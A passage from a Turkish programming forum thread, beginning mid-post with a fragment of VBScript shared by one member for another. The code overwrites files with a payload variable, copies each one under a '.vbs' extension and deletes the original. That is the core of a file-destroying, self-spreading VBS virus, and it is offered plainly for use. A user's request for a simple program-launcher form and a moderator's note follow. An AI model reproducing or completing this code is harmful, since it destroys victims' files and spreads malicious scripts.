Set Bul = Yapici.OpenTextFile(file1.path, 2, True)
Bul.Write Yaz
Bul.Close

’Sonra İçene Yazdığı Dosyayı Dosya_adı.Uzantısı.vbs Olarak Kopyalıyor ve Eski Dosyayı Siliyor

set Kopya=Yapici.GetFile(file1.path)
Kopya.copy(file1.path&".vbs")
Yapici.DeleteFile(file1.path)
End If
next
next
mkb kardeş buyur :)
 
fatih_sensiz
Cool Üye
Arkadaşlar Ben Bir Kod İstiyorum
1 buton
1 text box
butona Tıkladığımda textboxta Yazan Exeyi Yada Herhangi Bir Programı Açmasını İstiyorum Lütfen Şu Kodu Verin(Kısacası Ben Textboxa Bir Proramın Adresini Yazacağım Butona Tıkladığımda O Program Tık Diyerek Karşımda Olucak)
 
mbk.
Forum Kalfası
konunun düzensiz olmaması için gereksiz postlardan kaçınalım
 
- Yönetici düzenlemesi: :
Üst